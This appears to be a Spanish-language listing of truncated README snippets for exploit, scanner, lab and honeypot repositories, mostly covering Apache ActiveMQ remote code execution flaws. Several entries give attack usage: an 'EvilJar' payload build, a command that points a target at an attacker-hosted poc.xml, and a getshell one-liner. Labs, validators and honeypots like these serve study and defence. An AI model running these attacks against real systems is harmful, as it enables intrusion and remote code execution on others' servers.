CVE-2022-39197

CVE-2022-39197 RCE POC Uso Preparar el Payload 1. Edita Line 19 con tu payload en EvilJar/src/main/java/Exploit.java 2. Construye usando el jar mvn clean compile assembly:single 3. Mueve EvilJar-1.0-jar-with-dependencies.jar desde EvilJar/target/ a la carpeta serve/ 4. Edita serve\evil.svg y...

apache-activemq-rce-research

Apache ActiveMQ Classic — Investigación de RCE Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML CVE-2026-34197 y su evasión del parche CVE-2026-42588, además de una auditoría completa de...

CVE-2024-21683-RCE

CVE-2024-21683-RCE Créditos https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Uso git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

ActiveMQ-RCE-CVE-2023-46604-Write-up

Este repositorio no tiene un README...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudo-Shell Este script aprovecha CVE-2023046604 Apache ActiveMQ para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire. Descripción CVE-2023-46604 es una vulnerabilidad de...

Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass

Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector and BrokerView.addConnector to prevent authenticated attackers from...

Apache ActiveMQ 6.x < 6.1.2 - Broken Access Control

Apache ActiveMQ 6.x contains an unauthenticated API web context caused by default configuration lacking security measures in the Jetty server, letting anyone interact with broker APIs and messaging layers, exploit requires no authentication. id: CVE-2024-32114 info: name: Apache ActiveMQ 6.x 6.1....

Apache ActiveMQ - Remote Code Execution

Improper Input Validation, Improper Control of Generation of Code 'Code Injection' vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations o...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-para-Apache-ActiveMQ PoC exploit para CVE-2025-27533 , una vulnerabilidad de Denegación de Servicio DoS en Apache ActiveMQ. Esta herramienta envía paquetes OpenWire maliciosos para agotar la memoria heap de la JVM del servidor objetivo, y potencialmente provocar la caída de...

ActiveMQ-CVE-2023-46604

Validador Seguro de CVE-2023-46604 para ActiveMQ Un validador de un solo archivo y no destructivo para Apache ActiveMQ CVE-2023-46604. Inicia su propio servidor de callback HTTP, genera XML de Spring específico para el objetivo en memoria, envía el paquete OpenWire manipulado, correlaciona los...

CVE-2016-3088

Apache ActiveMQ PUT RCE getshell con un clic uso:python3 CVE-2016-3088.py -u https://tartget.com/...

ActiveMQ-cve-2026-42588-scanner-gui

ActiveMQ-cve-2026-42588-scanner-gui 【Uso de VPS con un solo clic recomendado para usuarios con VPS】 1. Introduce la IP pública del VPS y el puerto de escucha ej: 9999 2. Introduce el comando a ejecutar ej: touch /tmp/cvepwned 3. Haz clic en 【Generar comando VPS】→ Haz clic en 【Copiar comando】 4...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Referencia del proyecto Este proyecto es una versión python del exp, reescrita a partir del exp del proyecto https://github.com/X1r0z/ActiveMQ-RCE. Uso python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 El parámetro -p tiene como valor predeterminado el puerto po...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerabilidad Una vulnerabilidad de deserialización en el unmarshaller del transporte OpenWire en Apache ActiveMQ. Las versiones afectadas incluyen 5.18.0 hasta 5.18.2, 5.17.0 hasta 5.17.5, 5.16.0 hasta 5.16.6, y todas las versiones anteriores a 5.15.16. Configuración Cambia l...

ActiveMQ_Crack

ActiveMQCrack Resumen Herramienta de detección y explotación de vulnerabilidades de la serie ActiveMQ, incluyendo la vulnerabilidad de contraseña predeterminada de ActiveMQ y la vulnerabilidad de escritura arbitraria de archivos de ActiveMQ CVE-2016-3088, admite detección y explotación por lotes...

CVE-Lab

Laboratorio CVE-2023-46604 Este laboratorio guía sobre la explotación de vulnerabilidades de CVE-2023-46604 Agradecimientos Apache ActiveMQ CVE-2023-46604 Entorno Este laboratorio requiere la instalación de 2 máquinas virtuales. Una máquina Kali Linux versión 2023.4 y una máquina Ubuntu versión...

CVE-2026-34197

Laboratorio ActiveMQ Classic CVE-2026-34197 Este repositorio contiene un laboratorio local para estudiar CVE-2026-34197 en Apache ActiveMQ Classic y para comparar una instancia vulnerable con una compilación parcheada. El repositorio está organizado para respaldar dos objetivos: Reproducir el...

CVE-2015-5254

CVE-2015-5254 ActiveMQ RCE de Deserialización 0x01 asegúrate de que el puerto 61616 esté abierto nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166 Hos...

activemq-rce-cve-2023-46604

README análisis simple para CVE-2023-46604 https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html...

honeypot.rs

honeypot.rs Honeypot que cubre CVE-2023-46604 Vulnerabilidad RCE de Apache ActiveMQ y está enfocado en obtener Indicadores de Compromiso. Este honeypot puede usarse en cualquier infraestructura de Inteligencia de Amenazas para obtener direcciones IP de atacantes, muestras de post-explotación y...